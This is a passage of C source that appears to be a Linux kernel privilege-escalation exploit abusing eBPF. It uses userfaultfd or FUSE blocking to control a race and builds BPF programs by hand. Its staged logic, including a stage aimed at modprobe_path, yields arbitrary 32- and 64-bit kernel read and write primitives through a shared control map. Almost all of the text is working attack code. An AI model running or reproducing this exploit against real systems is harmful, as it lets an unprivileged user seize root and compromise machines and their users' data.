if (msg.arg.pagefault.address != (uintptr_t)start + index * size) die();
if (threads[index].faults[fault]) die();
threads[index].faults[fault] = 1;
}
}
static struct bpf_insn * insns_orig;
static char * license_orig;
static int uffd = -1;
static void
create_threads(void)
{
if (insns_orig) die();
insns_orig = mmap(NULL, insns_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
#elif BLOCK_VIA_FUSE
static const struct bpf_insn *
create_insns_orig(void)
{
struct bpf_insn * const insns_orig = mmap(NULL, insns_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
#endif
if (insns_orig == MAP_FAILED) die();
if (insns_size % PAGE_SIZE) die();
if (insns_size % sizeof(struct bpf_insn)) die();
if (control_fd <= -1) die();
if (corrupt_fd <= -1) die();
if (storage_fd <= -1) die();
enum {
REG_SPECIAL = BPF_REG_1,
REG_STORAGE,
REG_CONTROL,
REG_CORRUPT,
REG_OP,
REG_WHAT,
REG_WHERE,
};
if (BPF_REG_5 != REG_OP) die();
const struct bpf_insn prologue[] = {
/* 0*/ BPF_LD_IMM64_RAW(REG_STORAGE, BPF_PSEUDO_MAP_VALUE, storage_fd),
/* 2*/ BPF_LD_IMM64_RAW(REG_CORRUPT, BPF_PSEUDO_MAP_VALUE, corrupt_fd),
/* 4*/ BPF_ALU64_IMM(BPF_ADD, REG_CORRUPT, sizeof(corrupt_map) / 2),
BPF_MOV64_IMM(REG_SPECIAL, 0),
BPF_MOV64_IMM(BPF_REG_5, 0),
};
if (sizeof(prologue) >= insns_size) die();
memcpy(insns_orig, prologue, sizeof(prologue));
switch (stage) {
case STAGE_MODPROBE_PATH:
insns_orig[4] = BPF_ALU64_IMM(BPF_ADD, REG_CORRUPT, 0);
/* fall through */
case STAGE_CORRUPTED_INSN:
insns_orig[0] = BPF_MOV64_IMM(REG_STORAGE, 0);
insns_orig[1] = BPF_MOV64_IMM(REG_STORAGE, 0);
break;
case STAGE_ADDROF_STORAGE:
break;
default:
die();
}
const struct bpf_insn epilogue[] = {
BPF_LD_IMM64_RAW(REG_CONTROL, BPF_PSEUDO_MAP_VALUE, control_fd),
BPF_LDX_MEM(BPF_DW, REG_OP, REG_CONTROL, offsetof(t_control, op)),
BPF_LDX_MEM(BPF_DW, REG_WHAT, REG_CONTROL, offsetof(t_control, what)),
BPF_LDX_MEM(BPF_H, REG_WHERE, REG_CONTROL, offsetof(t_control, where)),
BPF_ALU64_IMM(BPF_SUB, REG_CORRUPT, sizeof(corrupt_map) / 4),
BPF_ALU64_REG(BPF_ADD, REG_CORRUPT, REG_WHERE),
/* 1*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_READ32, 4 - 2),
/* 2*/ BPF_LDX_MEM(BPF_W, REG_WHAT, REG_CORRUPT, 0),
/* 3*/ BPF_JMP_A(6 - 4),
/* 4*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_READ64, 8 - 5),
/* 5*/ BPF_LDX_MEM(BPF_DW, REG_WHAT, REG_CORRUPT, 0),
/* 6*/ BPF_STX_MEM(BPF_DW, REG_CONTROL, REG_WHAT, offsetof(t_control, result)),
/* 7*/ BPF_JMP_A(16 - 8),
/* 8*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_WRITE32, 11 - 9),
/* 9*/ BPF_STX_MEM(BPF_W, REG_CORRUPT, REG_WHAT, 0),
/*10*/ BPF_JMP_A(16 - 11),
/*11*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_WRITE64, 14 - 12),
/*12*/ BPF_STX_MEM(BPF_DW, REG_CORRUPT, REG_WHAT, 0),
/*13*/ BPF_JMP_A(16 - 14),
/*14*/ BPF_STX_MEM(BPF_DW, REG_CONTROL, REG_SPECIAL, offsetof(t_control, result)),